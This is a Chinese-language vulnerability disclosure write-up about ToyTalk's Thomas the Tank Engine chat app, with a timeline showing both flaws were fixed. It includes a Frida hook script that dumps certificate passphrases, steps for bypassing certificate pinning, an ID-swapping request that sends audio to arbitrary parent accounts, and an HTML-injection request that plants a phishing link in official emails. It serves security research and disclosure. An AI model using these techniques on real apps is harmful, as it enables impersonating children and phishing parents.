漏洞发现背景toytalk是一家由皮克斯前高管创建的人工智能玩具初创公司,它们设计的智能玩具具备视觉跟踪、语音识别和网络扩展功能,能让儿童通过app与玩具之间进行语音交流和行为反应识别,激发儿童与虚拟人物的谈话能力,更好地实现与玩具之间的互动乐趣。
toytalk于2015年7月推出了一款名为“托马斯和他的朋友们与你聊天 ”(thomas & friends talk to you)”的付费app,能让儿童与知名卡通人物“小火车托马斯”(thomas the tank engine)互动聊天,它允许儿童在 8 次多多岛故事之旅中,与托马斯及其朋友培西、高登、亨利、詹姆斯、爱德华、托比、“胖总管”托芬海先生(sir topham hatt)进行双向对话。
为了测试toytalk玩具产品的安全性,以及接入家庭网络环境带来的安全风险,我决定对“托马斯和他的朋友们与你聊天 ”app进行一些分析研究。由于toytalk产品都使用相同的代码库,而且这款托马斯对话app很容易安装和删除,方便测试,也能有代表性。另外,toytalk的其它产品,如hello barbie(哈啰芭比)和barbie hello dreamhouse (芭比梦幻之家)也可能存在相同漏洞。
漏洞情况#漏洞1: - 缺乏身份验证机制,攻击者能很容易地假冒成一个儿童与托马斯玩具进行对话
#漏洞2:- 可假冒support@toytalk.com或其它注册用户,发送注入html恶意钓鱼链接的邮件
app工作原理分析“托马斯和他的朋友们与你聊天 ”的app启动后,要求输入提供一个家长的电子邮件地址,以确认使用app提供的语音识别功能,当提交了电子邮件地址之后,app进入运行界面。
刚开始,你可能会觉得该app暴露的攻击面非常有限,因为它需要提供与玩具对话的确认权限。
接下来,我要对该app进行网络浏览拦截分析。而且在分析中发现,该app与其它应用不同,它提供了一个与客户端进行认证的证书,也就是说,app和它的web服务器之间也会存在一个相互认证的过程。基于此,我们要先来看看客户端证书和相关密码验证的工作机制。
通过逆向后我们发现,以下两个函数比较有意思:
public void setsslclientcertificate(string filename, string passphrase) { inputstream file = null; try { keystore store = keystore.getinstance(pkcs12); file = this.mcontext.getresources().getassets().open(filename); store.load(file, passphrase.tochararray()); this.mclientcertificate = keymanagerfactory.getinstance(trustmanagerfactory.getdefaultalgorithm()); this.mclientcertificate.init(store, new char[0]); } catch (exception e) { log.omg(e); } finally { utils.close(file); } }
public void setsslcacertificate(string filename, string passphrase) { inputstream file = null; try { keystore store = keystore.getinstance(bks); file = this.mcontext.getresources().getassets().open(filename); store.load(file, passphrase.tochararray()); this.mcacertificate = trustmanagerfactory.getinstance(trustmanagerfactory.getdefaultalgorithm()); this.mcacertificate.init(store); } catch (exception e) { log.omg(e); } finally { utils.close(file); } }
之后,我没有继续逆向寻找密码传入函数,而是使用以下具备frida hook功能,可以转储密码和文件名的python脚本来深入:
import fridaimport sysdef on_message(message, data): print messagedevice = frida.get_device_manager().enumerate_devices()[-1]pid = device.spawn([com.toytalk.thomas])print (pid)session = device.attach(pid)ss = ''' java.perform(function () { var myclass = java.use(com.toytalk.library.httprequester); myclass.setsslcacertificate.overload(java.lang.string,java.lang.string).implementation = function(a,b){ send(a); send(b); return this.setsslcacertificate.overload(java.lang.string,java.lang.string).call(this,a,b); } myclass.setsslclientcertificate.overload(java.lang.string,java.lang.string).implementation = function(a,b){ send(a); send(b); return this.setsslcacertificate.overload(java.lang.string,java.lang.string).call(this,a,b); }})''' script = session.create_script(ss)script.load()script.on('message', on_message)device.resume(pid)#session.detach()sys.stdin.read()
高兴的是,可以从apk中提取出正确的认证证书文件,并能用于执行中间人攻击(mitm),而有趣的是,文件toytalk.12没有使用任何密码保护。
现在可以使用客户端证书,但仍需要绕过证书锁定机制。尽管有多种实现方式,但最简便的方法是删掉apk中的证书,重新构建程序,再重新安装。把客户端证书导入burpsuite,实现了证书锁定功能禁用,之后,我们就可以进入大多数app程序测试的第一步-流量拦截。
漏洞分析漏洞1 - 缺乏身份验证机制该app程序还提供了一个不太明显的功能,就是其捕获的对话音频文件会存储在线,可备家长后续进行重放收听,该功能与用于之前授权同意的电子邮箱地址绑定,虽然该邮箱地址只在父母执行密码重置时才用得到。
当speak 按钮被按下时,app会把捕获的音频文件以以下post请求方式发送到远端web服务器中:
https://asr.2.toytalk.com/v3/asr/0673bcb8-367a-44bc-aed5-8c21fb7086af/thomas/1502714441?account=<removed>&play_session=<removed>&client=com.toytalk.thomas&locale=en_gb&device_id=<removed>&device_model=<removed>&os=android&os_version=5.1&intelligence=0%2f1%2fc%2f01cd49694727bbcf1c0cefd7a4a24f2e_intelligence.tiz&ruleset_id=rs_b92dd8d9-cba9-4a76-a56b-51fc3d15f8f5&rate=16000
虽然其中的发送内容涉及很多变量值,但通过把当前用户id更改为其它用户id后,就能把音频文件发送到指定的用户账户名下,这将会允许一些恶意攻击者向儿童父母发送一些淫秽音频信息。
在这种情况下,虽然用户id是一个随机的全局惟一标识符(guid),但我们可以根据邮箱地址等已知线索来发现一些有效的用户id信息。
此外,通过在toytalk代码库上运行“strings”命令,我们也可以找到一些线索:
所以,根据上图信息,一旦客户端证书被安装到浏览器中后,通过访问地址:
https://api.toytalk.com/v3/account/<email address>
就能下载到一个包含用户id的文件。有用户id信息在手,就能更改post请求中的id信息,将对话音频发送到任何注册了该app的邮箱地址中去。修复该漏洞的方法是要求提供正确的设备id和相关联的用户id。我们还没测试设备id是否能以其它方法获取,但要向某个用户账号添加一个设备id,貌似需要访问到关联的邮箱地址才行。
漏洞报送进程
2017.8.14 - 向toytalk报告漏洞
2017.11.16 - 被分类为一般漏洞并被初次修复,变为closed状态
2017.11.29 - toytalk再次测试发现漏洞仍然存在,并重置为reopen状态
2017.12.8 - 完全修复漏洞
2017.12.18 - 漏洞赏金发放并关闭漏洞报告
漏洞2 - 可向toytalk邮件中注入恶意html框架几天过后,我的朋友建议我学习一下toytalk的邮箱注入机制,这是在提交漏洞1后发生的。在使用诸如“thomas and you”等app应用注册设备时,它会将一封电子邮件发送到用户提供的邮箱地址中, 由于该电子邮件中包含了用户信息(设备名称),如果攻击者利用漏洞1方法获取到受害者的用户id之后,那么,接下来可以修改电子邮件html中包含的设备名称,以该受害者用户id为可信发件人,向其它受害者发送恶意钓鱼邮件,或任意更改过的邮件内容。
为了向受害者发送钓鱼邮件,攻击者先要用邮箱在该app上进行注册,利用该注册邮箱地址,再用漏洞1方法获取到受害者用户id,用以后续进行钓鱼邮件发送。
也即,首先,攻击者用受害者注册过的邮箱地址,执行以下请求,以获取到相应的受害者用户id:
get /v3/account/<email address> http/1.1user-agent: dalvik/2.1.0 (linux; u; android 7.1.1; oneplus a3003 build/nmf26f)host: api.2.toytalk.comconnection: close
然后,再以该用户id为可信发件人,用以下post方式,向其它受害者发送包含钓鱼链接的恶意邮件内容:
post /v3/account/<accountid>/email/consent?device_id=asdf&device_name=test%20device</br>%20<a%20href="http://google.com">click%20here</a>&application=thomas+and+you&always http/1.1content-type: text/plaincontent-length: 0user-agent: dalvik/2.1.0 (linux; u; android 7.1.1; oneplus a3003 build/nmf26f)host: api.2.toytalk.comconnection: close
以上只是一个简单的poc示例,它利用<a>标签将html链接注入到邮件内容框架中,但如果花时间调整,也可以精心制作出一个更具迷惑性的钓鱼邮件来,例如,某位家长可以假冒support@toytalk.com邮件来欺骗其它家长的用户名密码信息。以下邮件内容包含钓鱼链接,是我们冒充toytalk官方发送的:
漏洞报送进程:
2017.12.4 - 提交漏洞
2017.12.12 - 官方致谢
2017.12.18 - 官方修复漏洞
2017.12.18 - 发布赏金并关闭漏洞报告
整体来说,两个漏洞的利用方式都存在一定的受限条件,但也侧面说明了大量app在开发过程中忽视了全面的安全考虑。
以上就是发现“小火车托马斯”智能玩具app聊天应用漏洞的示例分析的详细内容。